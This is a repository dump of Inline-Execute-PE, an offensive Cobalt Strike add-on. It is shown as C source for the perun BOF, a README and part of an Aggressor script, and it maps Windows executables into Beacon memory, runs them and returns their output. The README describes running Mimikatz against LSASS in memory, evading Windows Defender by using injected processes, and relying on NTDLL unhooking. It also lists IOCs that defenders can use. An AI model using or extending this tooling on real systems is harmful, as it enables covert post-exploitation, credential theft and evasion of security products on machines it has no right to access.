(LPTHREAD_START_ROUTINE)(pMemAddrs->pImageBase + pMemAddrs->AddressOfEntryPoint), 0, 0, 0); 373 | 374 | 375 | //-----We now have to collect output from PE. This is done in a loop in order to continue reading from pipe.------ 376 | 377 | DWORD remainingDataOutput = 0; 378 | DWORD waitResult = -1; 379 | BOOL isThreadFinished = FALSE; 380 | DWORD bytesRead = 0; 381 | BOOL aborted = FALSE; 382 | 383 | //Allocate buffer to hold output from PE 384 | unsigned char* recvBuffer = calloc(BUFFER_SIZE, sizeof(unsigned char)); 385 | 386 | do { 387 | //Get current time 388 | QueryPerformanceCounter(&after); 389 | 390 | //Calculate elapsed time since thread started; if it exceeds our timeout, we want to bail out of execution and terminate the PE. 391 | if (((after.QuadPart - before.QuadPart) / frequency.QuadPart) > dwTimeout) 392 | { 393 | //Kill PE thread 394 | TerminateThread(hThread, 0); 395 | 396 | //If we hit bailout condition we assume that something went wrong during execution 397 | //This often means that the FILE* we get (fout/ferr) after reopening stdout/stderr are hanging/messed up and cannot be closed 398 | //We must instruct peunload not to attempt to close these FILE* or we will lose comms with our Beacon 399 | pMemAddrs->bCloseFHandles = FALSE; 400 | aborted = TRUE; 401 | } 402 | 403 | //Wait for PE thread completion 404 | waitResult = WaitForSingleObject(hThread, _WAIT_TIMEOUT); 405 | switch (waitResult) { 406 | case WAIT_ABANDONED: 407 | break; 408 | case WAIT_FAILED: 409 | break; 410 | case _WAIT_TIMEOUT: 411 | break; 412 | case WAIT_OBJECT_0: 413 | isThreadFinished = TRUE; 414 | } 415 | 416 | //See if/how much data is available to be read from pipe 417 | PeekNamedPipe((VOID*)pMemAddrs->hreadout, NULL, 0, NULL, &remainingDataOutput, NULL); 418 | //BeaconPrintf(CALLBACK_OUTPUT, "Peek bytes available: %d!\nGetLastError: %d", remainingDataOutput, GetLastError()); 419 | 420 | //If there is data to be read, zero out buffer, read data, and send back to CS 421 | if (remainingDataOutput) { 422 | memset(recvBuffer, 0, BUFFER_SIZE); 423 | bytesRead = 0; 424 | ReadFile( (VOID*)pMemAddrs->hreadout, recvBuffer, BUFFER_SIZE - 1, &bytesRead, NULL); 425 | 426 | //Send output back to CS 427 | BeaconPrintf(CALLBACK_OUTPUT, "%s", recvBuffer); 428 | 429 | } 430 | } while (!isThreadFinished || remainingDataOutput); 431 | 432 | //Free results buffer 433 | free(recvBuffer); 434 | 435 | //Free cmdline memory 436 | free(sz_masqCmd_Widh); 437 | freeargvA(poi_masqArgvA, int_masqCmd_Argc); 438 | freeargvW(poi_masqArgvW, int_masqCmd_Argc); 439 | 440 | //Revert memory protections on PE back to RW 441 | VirtualProtect(pMemAddrs->pImageBase, pMemAddrs->SizeOfImage, dwOldProtect, &dwOldProtect); 442 | 443 | //Refresh mapped PE with backup in order to restore to original state (and XOR encrypted again). 444 | memcpy(pMemAddrs->pImageBase, pMemAddrs->pBackupImage, pMemAddrs->SizeOfImage); 445 | 446 | //If we hit timeout on PE and killed it, let CS know. 447 | if(aborted) 448 | BeaconPrintf(CALLBACK_OUTPUT, "perun timeout"); 449 | else 450 | BeaconPrintf(CALLBACK_OUTPUT, "perun complete"); 451 | } 452 | 453 | int go(IN PCHAR Buffer, IN ULONG Length) 454 | { 455 | datap parser; 456 | BeaconDataParse(&parser, Buffer, Length); 457 | int dataextracted = 0; 458 | 459 | char* key = BeaconDataExtract(&parser, &dataextracted); 460 | char* pMemAddrstr = BeaconDataExtract(&parser, &dataextracted); 461 | sz_masqCmd_Ansi = BeaconDataExtract(&parser, &dataextracted); 462 | dwTimeout = BeaconDataInt(&parser); 463 | 464 | /* //Debug 465 | BeaconPrintf(CALLBACK_OUTPUT, "beaconarg key is: %s", key); 466 | BeaconPrintf(CALLBACK_OUTPUT, "beaconarg pMemAddrstr is: %s", pMemAddrstr); 467 | BeaconPrintf(CALLBACK_OUTPUT, "beaconarg cmdline is: %s", sz_masqCmd_Ansi); 468 | BeaconPrintf(CALLBACK_OUTPUT, "beaconarg dwTimeout is: %d", dwTimeout); 469 | */ 470 | 471 | //Associate pMemAddrs struct with address passed from CS 472 | char* pEnd; 473 | pMemAddrs = (struct MemAddrs*)_strtoi64(pMemAddrstr, &pEnd, 10); 474 | //BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs is: %p!", pMemAddrs); 475 | 476 | /* //Debug 477 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->pImageBase is: %p!", pMemAddrs->pImageBase); 478 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->pBackupImage is: %p!", pMemAddrs->pBackupImage); 479 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->AddressOfEntryPoint: %d!", pMemAddrs->AddressOfEntryPoint); 480 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->SizeOfImage: %d!", pMemAddrs->SizeOfImage); 481 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->fout: %p!", pMemAddrs->fout); 482 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->ferr: %p!", pMemAddrs->ferr); 483 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->hreadout: %p!", pMemAddrs->hreadout); 484 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->hwriteout: %p!", pMemAddrs->hwriteout); 485 | BeaconPrintf(CALLBACK_OUTPUT, "pMemAddrs->fo: %d!", pMemAddrs->fo); 486 | */ 487 | 488 | //Run PE 489 | peRun(key); 490 | 491 | return 0; 492 | } -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Inline-Execute-PE 2 | ### DISCLAIMER: 3 | #### This project is complex and failure to understand how it works and adequately test it can result in you crashing Beacons and losing access! 4 | #### I highly encourage you to read all of the documentation up until the "Design Considerations and Commentary" section! 5 | 6 | ## Introduction 7 | Inline-Execute-PE is a suite of Beacon Object Files (BOF's) and an accompanying Aggressor script for CobaltStrike that enables Operators to load unmanaged Windows executables into Beacon memory and execute them, retrieving the output and rendering it in the Beacon console. 8 | 9 | This enables Operators to use many third party tools (Mimikatz, Dsquery, Sysinternals tools, etc) without needing to drop them to disk, reformat them to position independent code using a tool like Donut, or create a new process to run them. 10 | 11 | These executables are mapped into Beacon memory so that they can be ran repeatedly without needing to send them over the network, allocate new memory, and create a new conhost.exe process each time. 12 | 13 | Executables loaded into Beacons are accessible and able to be ran by all CobaltStrike Clients connected to the CobaltStrike Team Server. 14 | 15 | Inline-Execute-PE was designed around x64 Beacons and x64 Windows C or C++ executables compiled using Mingw or Visual Studio. This project does not support x86 executables or x64 executables written in a different language or compiled using a different compiler. 16 | 17 | ![](Inline-Execute-PE.gif) 18 | 19 | ## Setup 20 | Clone the repository and optionally run make in order to recompile the BOF's. 21 | 22 | Load Inline-Execute-PE.cna into the CobaltStrike client. Ensure the directory that CobaltStrike is running from is writable by your user; Inline-Execute-PE creates a text file there (petable.txt) in order to ensure availability of the data required by Inline-Execute-PE to function. 23 | 24 | ## Commands 25 | Inline-Execute-PE comprises of 3 target-facing commands which run BOF's, and 3 internal commands that manipulate the project data-structure: 26 | 27 | Target-facing: 28 | 1. peload 29 | 2. perun 30 | 3. peunload 31 | 32 | Internal data-structure: 33 | 1. petable 34 | 2. peconfig 35 | 3. pebroadcast 36 | 37 | ### peload 38 | peload is the beginning of Inline-Execute-PE. This command is used to load a PE into Beacon memory. It performs the following major actions: 39 | 40 | 1. Sends the specified PE over the network to Beacon 41 | 2. Creates a structure in Beacon memory to hold various pointers and handles required by Inline-Execute-PE throughout it's lifecycle 42 | 3. Allocates memory in Beacon and writes PE to it with RW protection 43 | 4. XOR encrypts PE in memory using a user-specified key 44 | 5. Allocates another chunk of memory and copies the XOR encrypted PE to it. This is necessary in order to be able to "revert" the PE for subsequent executions 45 | 6. Spawns a conhost.exe child process under Beacon in order to initialize stdin/stdout/stderr 46 | 7. Redirects stdout and stderr to an anonymous pipe so that PE output may be captured 47 | 48 | ### perun 49 | perun is the second step in Inline-Execute-PE. It performs the following major actions: 50 | 51 | 1. Sends command line arguments over the network to Beacon 52 | 2. XOR decrypts PE in memory 53 | 3. Fixes the PE's Import Address Table, hooking certain API's related to command line arguments and exiting processes 54 | 4. Changes PE memory protection to RWX 55 | 5. Run's PE in it's own thread 56 | 6. Captures output from PE and returns it to CobaltStrike 57 | 7. Reverts PE memory protection to RW 58 | 8. Overwrites the PE in memory with the XOR'd copy that was made during peload 59 | 60 | ### peunload 61 | peunload is called to remove the PE from Beacon memory when an Operator is done with it or wishes to load a different PE. It performs the following major actions: 62 | 63 | 1. Closes handles and file pointers created during peload 64 | 2. Terminates the conhost.exe process created during peload 65 | 3. Zeroes out and then frees both copies of the PE in memory 66 | 4. Tries to unload any DLL's loaded by the PE into the Beacon process (optional) 67 | 68 | ### petable 69 | petable is used to display information regarding all PE's currently loaded into Beacons. 70 | 71 | Each CobaltStrike Client has their own petable; Inline-Execute-PE goes to great lengths to ensure the synchronicity of its data between all connected CobaltStrike Clients so that PE's may be used by all Operators. For more on this, see "Design Considerations and Commentary". 72 | 73 | ![image](https://user-images.githubusercontent.com/91164728/213904121-a34d41ac-2c9f-43fb-8e37-f5695e9a9363.png) 74 | 75 | ### peconfig 76 | peconfig is used to configure options pertaining to how Inline-Execute-PE functions. The two current options that may be altered are: 77 | 78 | 1. Timeout. This dictates how long perun will wait for the PE to complete execution before terminating it. This exists as a safeguard in the event that incorrect arguments are given to a PE that cause it to never return/finish execution. This setting is 60 seconds by default but may be modified to accommodate longer-running PE's. 79 | 2. UnloadLibraries. This option controls whether peunload will try to free DLL's from the Beacon process that were loaded by the PE. This is set to TRUE by default. Some PE's cause issues when DLL's are unloaded from the Beacon process and can cause Beacon to crash, in which case it is better to leave all DLL's loaded by the PE in the Beacon process. This has been observed when using powershell.exe (perhaps due to it loading the .Net CLR into the Beacon process). 80 | 81 | ### pebroadcast 82 | pebroadcast can be used to manually broadcast the contents of a Client's petable to all other connected CobaltStrike Clients. 83 | 84 | Every other CobaltStrike Client will update their petable with the data broadcasted. This shouldn't ever really be necessary, but the feature exists just in case. 85 | 86 | ## Usage 87 | Use peload to load a PE into Beacon memory 88 | ![image](https://user-images.githubusercontent.com/91164728/213904908-89d1be5b-6ed3-4fee-a572-afd46c44098e.png) 89 | 90 | Call perun, passing any arguments to the loaded PE 91 | ![image](https://user-images.githubusercontent.com/91164728/213904931-77523b46-7f29-417f-8392-61f80e7d0a4a.png) 92 | 93 | Double quotes in arguments must be escaped using backslashes 94 | ![image](https://user-images.githubusercontent.com/91164728/213905000-51090151-6d5e-460b-b038-7c05fc9e3f72.png) 95 | 96 | If you have identified that a PE causes issues when trying to free DLL's during unload, use peconfig to set unloadlibraries to false 97 | ![image](https://user-images.githubusercontent.com/91164728/213905058-3a6f1106-60ec-48e8-811e-1c7ba20e463a.png) 98 | 99 | Once you are done using a PE, call peunload to clean it up from Beacon 100 | ![image](https://user-images.githubusercontent.com/91164728/213905088-cae34b54-2635-44fd-919d-20115db8c29b.png) 101 | 102 | A different PE now may be loaded into the Beacon 103 | ![image](https://user-images.githubusercontent.com/91164728/213905113-4ac43712-78c7-4cd4-85b2-abf554552e07.png) 104 | 105 | ### perun timeout 106 | You must be careful about the command line arguments you pass to the PE; some PE's will crash outright if given wrong arguments, while others will run endlessly causing Beacon to never call back even though the process is still running. 107 | 108 | This can be seen with Mimikatz.exe when 'exit' isn't specified at the end of the list of arguments 109 | ![image](https://user-images.githubusercontent.com/91164728/213905249-b8145be1-7ddd-4576-91e3-294e60e26a80.png) 110 | 111 | ... 112 | 113 | ![image](https://user-images.githubusercontent.com/91164728/213905258-2d081796-aace-4faf-82c0-1ee68601a281.png) 114 | 115 | Inline-Execute-PE will terminate the running PE's thread after the specified timeout value has been reached. This enables Beacon to be able to resume normal communications (Beacon does not call back until the perun BOF has completed execution). While normal CobaltStrike commands and other BOF's may still be used in this Beacon, Inline-Execute-PE is now disabled; when a running PE is terminated in this manner it seems to break stdout and stderr in the Beacon process, and PE's loaded subsequently do not function properly. 116 | 117 | The PE may (and should) still be unloaded from Beacon memory, however looking at petable will show that this Beacon may no longer have additional PE's loaded into it. ![image](https://user-images.githubusercontent.com/91164728/213905389-038cdd36-facf-417e-a4aa-d36d289adce5.png) 118 | 119 | It is imperative that you test the PE's you wish to run using Inline-Execute-PE, and that you exercise care when giving command line arguments to perun. Some PE's are more forgiving than others. 120 | 121 | ## Tips, Tricks, and Observations 122 | The below are in no particular order some observations made during testing and development regarding certain PE's that users might want to load into Beacon. 123 | 124 | 1. Using peunload on Powershell.exe will usually crash Beacon when UnloadLibraries is TRUE; I believe this has to do with Powershell.exe loading the CLR. 125 | 2. Cmd.exe will crash Beacon unless '/c' is used as the first argument. E.g. 'perun /c cd' is ok, 'perun cd' is not. 126 | 3. Mimikatz.exe will crash Beacon if it was loaded, used, unloaded, and then loaded again IF UnloadLibraries was TRUE during the first peunload. 127 | 4. Some PE's are programmed to print their help menu's when the PE exits; these won't be displayed because calls to ExitProcess and exit() and the like are hooked and redirected to ExitThread so that the PE doesn't cause our Beacon process to exit. 128 | 5. Some PE's aren't very good about freeing memory when they are done with it and rely on that memory being freed when the process exits; because the PE is running inside the Beacon process (and thus the process doesn't exit when PE is done), Beacon can tend to bloat as more PE's are loaded and ran inside of it. Observe this during testing using something like Process Explorer and be mindful of it during operations. 129 | 6. Sysinternal's Psexec doesn't seem to work; while it does run, it complains about the handle to the remote machine being invalid. In practice if one were to want to use something like psexec, it would probably be better achieved using CobaltStrike's socks proxy and an attack-box version of psexec anyways. 130 | 7. Spawning a new beacon to use with Inline-Execute-PE probably isn't a bad idea, especially as you are getting a feel for how different PE's interact and function within the framework. Two is one, one is none. 131 | 132 | ## IOC's and AV/EDR 133 | IOC's associated with Inline-Execute-PE include but are not limited to: 134 | 135 | 1. Allocating memory using VirtualAlloc 136 | 2. Changing memory protections on allocated memory between RW and RWX 137 | 3. Creating a child conhost.exe process 138 | 4. Loading DLL's required by the mapped PE 139 | 5. Any actions performed by the actual PE; for instance, Mimikatz touching LSASS 140 | 141 | ### AV/EDR 142 | I did not give this a full-battery test against an EDR during development, partly due to laziness and partly due to lack of availability of a test environment. It was however tested against latest patch Windows Defender (which is in my experience a pretty good AV product). 143 | 144 | Mimikatz.exe is probably the most suspicious and well-known PE that comes to mind as a candidate for use with Inline-Execute-PE. I found that Windows Defender ability to detect Mimikatz running using Inline-Execute-PE was contingent on the process that Beacon was running in. 145 | 146 | A beacon running in a standalone executable (think beacon.exe with artifact kit so that it is able to execute and run normally past Defender) will be caught when using Mimikatz.exe with Inline-Execute-PE. 147 | 148 | A beacon running in a Windows process (injected into Explorer.exe, notepad.exe, etc or DLL sideloaded into a legitimate process) will NOT be caught when using Mimikatz.exe with Inline-Execute-PE. 149 | 150 | In regards to EDR's that perform userland hooking, as I said I haven't tested but I have the following general thoughts: 151 | 152 | Being that the PE is running inside of the Beacon process, which you have presumably already unhoooked/refreshed NTDLL inside of, I would think you shouldn't have too many problems with the API calls made by the PE being flagged. The same issues regarding what the PE actually does (touches processes, alters reg keys, etc) still apply. 153 | 154 | ## Design Considerations and Commentary 155 | A couple months ago I came across [RunPE-In-Memory](https://github.com/aaaddress1/RunPE-In-Memory) and had the thought to try my hand at converting it into a BOF for CobaltStrike. The journey that followed was much more complex and took a lot longer than anticipated. This project was particularly challenging because it isn't a standalone tool in it's own right, it is a tool used to run other tools. This requires a great deal of flexibility and effort towards compatibility with a wide range of PE's and all of the different ways those PE's might accomplish the same task (get arguments, terminate, etc). 156 | 157 | At the outset, Inline-Execute-PE was envisioned as an all-in-one BOF, responsible for loading, executing, and freeing a PE in a Beacon. About 3 weeks into the project, by which time I had a POC ~75% completed, I found [Pezor](https://github.com/phra/PEzor) which was released ~1.5 years ago and already did almost everything I was trying to do; the major difference being that Pezor called Donut under the hood to turn the PE into shellcode, rather than manually mapping the original PE into memory. 158 | 159 | This discovery was welcome in one regard and disappointing in another; it was phenomenal to have a mature project from which to draw inspiration and help me over some sticking points in my code, but disheartening in that I had effectively been reinventing the wheel without knowing it. After reading up on Pezor and thinking about its design, some tradecraft related matters, and the operational needs of my organization I altered the course of Inline-Execute-PE to what you see today. This decision was driven by several factors which will be discussed below, as will some of the more curious design choices made that may have raised some eyebrows for those who have read this far. 160 | 161 | ### Inline-Execute-PE vs Pezor 162 | In examining my operational experience I came up with multiple instances and tools where I needed to run the tool repeatedly; with Pezor, an Operator must repeatedly send the PE over the network, create a conhost.exe, allocate new memory in Beacon, etc. which struck me as potentially undesirable when considering AV/EDR. This line of thinking led to the idea to 'load' a PE into Beacon, similarly to how you can load a .PS1 into Beacon for repeated use. The conhost.exe is created when the PE is first loaded and persists while the PE is loaded in memory; similarly, new memory is allocated for the PE once when it is first loaded, and of course you avoid needing to send the PE over the network each time you want to use it. The model that Inline-Execute-PE adopted isn't without it's faults, which I tried to address with varying degrees of success. 163 | 164 | ### Two Copies of PE 165 | A design choice that should jump out at people is the fact that Inline-Execute-PE maps the PE in Beacon TWICE. This certainly isn't desirable or a choice I made willingly, but was born of necessity. As previously mentioned, Inline-Execute-PE must hook several functions relating to command line arguments in the PE. Because the mapped PE runs inside of the Beacon process, the PE will attempt to use the command line arguments specified in the PROCESS_PARAMETERS section of the PEB; to get around this, when the PE calls one of the various functions that retrieves the command line arguments we must direct the PE to our own custom defined functions where we can provide the intended arguments as passed from CobaltStrike using perun. 166 | 167 | This works well, but during development I noticed something strange with several different PE's. The first time the PE was ran the custom defined function that we provided to the PE's IAT was called properly, however in all subsequent times that the PE was ran and provided different arguments, the PE did not call the custom defined function and as such did not receive the arguments passed from CobaltStrike. I'm not sure what is actually happening under the hood, but I'm led to believe that after the PE has ran once it copies the command line arguments somewhere in memory, and on subsequent runs looks to that location in memory first before calling the hooked functions to retrieve the command line arguments as it did the first time. I corroborated this theory by retrieving the location in memory where a pointer to another pointer to the array of pointers containing the arguments resided, and manually modifying this location in memory to contain the proper pointer on each run. This worked for the __getmainargs and __wgetmainargs functions, but other PE's call alternative functions like __p___argv and __p___argc which this method did not work for. 168 | 169 | In order to be able to "reset" the PE to a state where it would actually call the hooked functions in order to fetch arguments, I resorted to making a second copy of the PE in memory during peload. This copy is also XOR encrypted and sits with RX protections during the entirety of the lifecycle of Inline-Execute-PE, simply being used to overwrite the copy of the PE that is actually executed using perun. As mentioned, it's not a perfect solution, but it is a blanket solution that covers all PE's without needing to get lost in the weeds trying to come up with a solution for all of the different PE's out there and the different API's they use. 170 | 171 | ### Conhost.exe 172 | With one of the major selling points of Inline-Execute-PE being that you can run tools without creating new processes, it is a big punch to the gut that I have to... create a new process (conhost.exe) in order to do so. This requirement comes from the fact that the standard streams (stdin/stdout/stderr) are not initialized in Windows programs unless a console is present. In our case we don't need the console at all; the standard streams are redirected to an anonymous pipe and captured that way, but without the conhost the streams are not initialized and cannot be redirected. 173 | 174 | Inline-Execute-PE approaches the conhost problem in the same fashion that Pezor does, it calls AllocConsole and then immediately after hides it from view using ShowWindow. On a Windows 11 VM with 8 GB of RAM I don't ever see the console window flash and then disappear, but mileage will vary on that one depending on the target system. 175 | 176 | I spoke with a developer that works on a very advanced Commercial C2 that recently came out with a native equivalent (ok, much more advanced version) of Inline-Execute-PE who told me that they were able to avoid spawning a conhost.exe by "fooling Windows into thinking it had a console". With this tidbit I spent about a week scouring the internet for documentation on how Windows programs interact with conhost, trying to trace the API calls associated with write functions and the console in WinDBG, and even examining the [Windows Terminal](https://github.com/microsoft/terminal) source code which is surprisingly enough available on Github. While I learned a lot about the PEB and standard stream-related things, I came out the other side of this empty handed. I suspect the path forward might involve patching certain console-related functions in kernel32 but I don't know. I'm honestly pretty disappointed that I wasn't able to figure out a solution here, but being self-taught and only a few years into my career it is probably to be expected. 177 | 178 | ### PE Timeout and Rescue 179 | All those who have ever tried to write a BOF are aware that for all of the advantages that come with them, a huge danger lies in the fact that an error or crash in your BOF can and will kill your Beacon. The danger is amplified in this project by the nature of how much control users have on data passed to Inline-Execute-PE and how few safety measures can easily or reliably be put in place by me, the developer. Users could for example crash their Beacon by loading an x86 PE into an x64 Beacon, or far more commonly by passing improper arguments to the mapped PE as I touched on earlier. While I can't stop users from crashing their Beacons with bad arguments to their PE's, I can try and rescue their Beacon in the case of an endlessly running PE, as in the case of Mimikatz when 'exit' isn't specified. 180 | 181 | Ideally I would be able to stop execution of the PE, allowing Beacon to resume normal function, and then immediately let the user try again with the (hopefully) correct arguments this time. In practice I found that terminating the PE seems to break the FILE*'s associated with stdout/stderr, and even unloading the PE entirely and then loading it again fresh doesn't resolve this; they are broken process-wide. 182 | 183 | To terminate a PE that continues to run past the 'timeout' option, TerminateThread is called on the handle returned from CreateThread. This doesn't allow the thread to gracefully exit anything, so it makes sense that some things might break. I tried to mitigate this by implementing [thread hijacking](https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking), with the goal being to suspend the PE thread and redirect it's execution to the ExitThread() API. The hope here was that if it were the thread that started exit procedures (as opposed to being forcefully terminated externally), it might result in stdout/stderr continuing to function, but I ended up having the same issue (as well as experiencing an inability to suspend the PE thread in the case of Mimikatz). 184 | 185 | Unable to mitigate this problem, I landed on simply preventing users from being able to continue to run the PE or load additional PE's into the affected Beacon (which WOULD result in a crash). This is another instance of Inline-Execute-PE falling short of where I would like it to be, but I settled for the fact that the Operator would at least still have their Beacon and be able to use it for normal functionality. 186 | 187 | ### Inline-Execute-PE Data Structure 188 | A challenging part of this project was ensuring the availability of PE's loaded into Beacons to all CobaltStrike Clients connected to the Team Server. Inline-Execute-PE's data is stored in structures created by Inline-Execute-PE.cna, which must be loaded into each Client that wishes to use the tool; as a result, these data structures live within each Client, not on the Team Server. If this data did live in a single central location (TS) it would be trivial to retrieve it from each Client and this whole thing would be a non-issue; were the CobaltStrike Team to formally integrate a capability like Inline-Execute-PE into CobaltStrike I am positive this is the direction they would go. But being that this is a community add-on, we make do with what we have. 189 | 190 | There are a couple different scenarios we have to worry about when it comes to ensuring that each CobaltStrike Client has the latest, accurate data concerning PE's loaded into Beacons: 191 | 192 | 1. New Clients connecting to the TS and needing the current petable 193 | 2. Instances where only a single Client is connected to the TS and restarts CobaltStrike (thus losing the petable stored in the Client memory) 194 | 3. Client A making a change to Inline-Execute-PE data which must be communicated to Client B 195 | 196 | A multi-pronged approach was taken to address these scenarios. To handle the case where only a single CobaltStrike Client is connected to the TS (and thus is the only entity that has the petable data), each time the Client alters the petable (peload, peconfig, peunload, etc) it also writes the contents of it's petable out to a local text file located in the CobaltStrike directory. Should the Client exit/restart, or when Inline-Execute-PE.cna is reloaded, it will first attempt to read from the local petable.txt file in order to populate it's in-memory petable. 197 | 198 | When multiple Clients are connected to a TS and a new Client joins (as per the Event Log), each Client fetches a list of all users connected to the TS and sorts it alphabetically. The Client that is first on that list is selected as the "Broadcast" Client, and after waiting 5 seconds (to allow the new Client to initialize and read it's local petable.txt) will send messages (Actions) in the Event Log for each entry in it's petable. All clients (aside from the Broadcasting one) will read these messages and update their petables with the broadcast information; this includes updating existing entries as well as adding any additional ones that their respective petables do not contain. 199 | 200 | Normal operations involving Inline-Execute-PE also rely on sending messages in the Event Log. When Client A runs peload, a message is broadcast containing all of the pertinent petable information; ALL clients update their respective petables by parsing these broadcasted Event Log messages using the "on Event_Action" hook. Changes are also made to Inline-Execute-PE data when peload and peunload finish executing their BOF's; these changes are communicated back by Beacon (e.g. after running peload, Beacon calls back with the memory location of the pMemAddrs struct) and as such are visible to all connected Clients, which update their respective petables using the "on Beacon_Output" hook. 201 | 202 | These separate efforts combined result in Inline-Execute-PE being able to efficiently and reliably synchronize critical data between multiple Clients. 203 | 204 | ## Credits 205 | This project would not have been possible without the following projects and resources which were referenced heavily and from which core parts of this project originated. Big thanks to the author's for their code and their vision. 206 | 207 | 1. [RunPE-In-Memory](https://github.com/aaaddress1/RunPE-In-Memory) 208 | 2. [Pezor](https://github.com/phra/PEzor) 209 | 3. Lots of StackOverflow 210 | -------------------------------------------------------------------------------- /Inline-Execute-PE/Inline-Execute-PE.cna: -------------------------------------------------------------------------------- 1 | global('@loadedPE $key $fillerarg $issuedcommand $petablefile') 2 | 3 | #Key used to XOR PE in memory 4 | $key = "redteam"; 5 | 6 | #Filler argument used in place of "argv[0]". We have this so operator doesn't have to type the PE name before args, e.g. perun dsquery.exe, perun mimikatz.exe, etc 7 | #This can literally be gibberish, it's just a placeholder. 8 | $fillerarg = "c:\\windows\\system32\\notepad.exe"; 9 | 10 | #Boolean controlling whether this client should print to the Beacon console when receiving output relating to Inline-Execute-PE. 11 | #This exists so that if for example 4 clients are connnected to a TS, only the client that issued a Inline-Execute-PE command will react to and print messages rather than all 4 doing so. 12 | $issuedcommand = 0; 13 | 14 | #File path to external txt file where petable will be backed up after every modification and where client will try to load from on startup. 15 | $petablefile = cwd() . "/petable.txt"; 16 | 17 | #@loadedPE is an array of arrays. Each array in loadedPE follows this format and each value in the arrays is stored as a string: 18 | #@(BeaconID, PID, PEname, User, Date/Time, pMemAddrStruct, Timeout, UnloadLibraries, Aborted) 19 | # 20 | #Value description: 21 | #0. beaconid = CobaltStrike internal identifier for each beacon. Used to create/locate/remove entries in loadedPE when pe commands are issues from a beacon console. 22 | #1. pid = Beacon process ID. Stored for ease of reference for Operators. 23 | #2. PEname = Name of the PE that was loaded into the beacon process using peload. 24 | #3. User = CobaltStrike user alias of the CS client that loaded the PE into beacon process 25 | #4. Date/Time = Date and time that the PE was loaded into beacon 26 | #5. pMemAddrStruct = Memory address of critical struct in beacon memory used by Inline-Execute-PE to track values across BOF's 27 | #6. Timeout = Max number of seconds to wait for PE to finish executing. When PE has ran longer than timeout it is forcibly terminated. 28 | #7. UnloadLibraries = Boolean value dictating whether to try and unload DLL's that were loaded by the PE on runtime. Default TRUE. 29 | #8. Aborted = Boolen value representing whether perun experienced timeout as set in the Timeout var. Default FALSE. 30 | # 31 | #$key variable is the string that Inline-Execute-PE will use to XOR encrypt the PE in memory. 32 | # 33 | 34 | 35 | ############################## On load try to manually populate Inline-Execute-PE data structure from file ############################## 36 | 37 | #On initial load, check for/create file to store file upload data 38 | if(!-exists $petablefile) 39 | { 40 | createNewFile($petablefile); 41 | 42 | if (checkError($error)) 43 | { 44 | show_error("Could not locate or create upload tracker file (specified as " . $petablefile . ")! Try manually creating this file and then re-load this CNA!") 45 | exit(); 46 | } 47 | else 48 | { 49 | println("Successfully located " . $petablefile . "!") 50 | } 51 | } 52 | else 53 | { 54 | #Read in uploads file to create array on startup 55 | $handle = openf($petablefile); 56 | while $text (readln($handle)) 57 | { 58 | #Now split beacon_output by space delimeter and assign values as appropriate 59 | ($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $text); 60 | 61 | #Add entry to petable 62 | add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted)); 63 | } 64 | closef($handle); 65 | println("Successfully located " . $petablefile . "!") 66 | } 67 | 68 | #This function called each time a clients PE table is modified in order to refresh the local on-disk copy of petable. 69 | sub writelogfile 70 | { 71 | #open $petablefile file and write array out to file to ensure we don't lose data if CS crashes 72 | $handle = openf(">" . $petablefile); 73 | foreach @entry (@loadedPE) 74 | { 75 | println($handle, @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]); 76 | } 77 | closef($handle); 78 | } 79 | 80 | #################################### Parse Beacon output and update Inline-Execute-PE data structure #################################### 81 | 82 | #Have to capture all beacon output and then filter to determine if it contains Inline-Execute-PE info or not 83 | on beacon_output 84 | { 85 | local('$trash $x @entry') 86 | 87 | #Look for 'peload' in beacon_output, if it appears we need to parse and grab values 88 | if("peload" isin $2) 89 | { 90 | $x = 0; 91 | 92 | #Iterate over each array in @loadedPE 93 | foreach @entry (@loadedPE) 94 | { 95 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 96 | if($1 eq @entry[0]) 97 | { 98 | break; 99 | } 100 | $x++; 101 | } 102 | 103 | #Now split beacon_output by space delimeter and assign values as appropriate 104 | ($trash @loadedPE[$x][5]) = split(" ", split("\n", $2)[-1]); 105 | 106 | #Announce in beacon console what we have done 107 | if(@loadedPE[$x][5] eq "failure") 108 | { 109 | if($issuedcommand == 1) 110 | { 111 | berror($1, "\c4Failed to load PE! Clearing petable entry!\c4\n"); 112 | } 113 | 114 | #Remove entry from petable. 115 | remove(@loadedPE, @loadedPE[$x]); 116 | } 117 | else 118 | { 119 | if($issuedcommand == 1) 120 | { 121 | blog($1, "\c9Successfully loaded PE!\c9\n"); 122 | } 123 | } 124 | 125 | #Set issuedcommand bool back to FALSE so we no longer print messages 126 | $issuedcommand = 0; 127 | 128 | #Re-write local petable file with updated data 129 | writelogfile(); 130 | } 131 | #Look for perun timeout, indicating that perun was aborted prematurely. Have to mark this beacon as unable to load additional PE's now. 132 | else if("perun timeout" isin $2) 133 | { 134 | $x = 0; 135 | 136 | #Iterate over each array in @loadedPE 137 | foreach @entry (@loadedPE) 138 | { 139 | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. 140 | if($1 eq @entry[0]) 141 | { 142 | break; 143 | } 144 | $x++; 145 | } 146 | 147 | #Update entry with invisible "aborted" entry so we can alter display in petable and prevent loading of additional PE's. 148 | @loadedPE[$x][8] = "TRUE"; 149 | if($issuedcommand == 1) 150 | { 151 | blog($1, "\c4PE exceeded timeout! PE thread aborted, run peunload to clear PE from memory.\c4"); 152 | blog($1, "\c8Additional PE's CANNOT be loaded into this beacon!\c8\n"); 153 | } 154 | 155 | 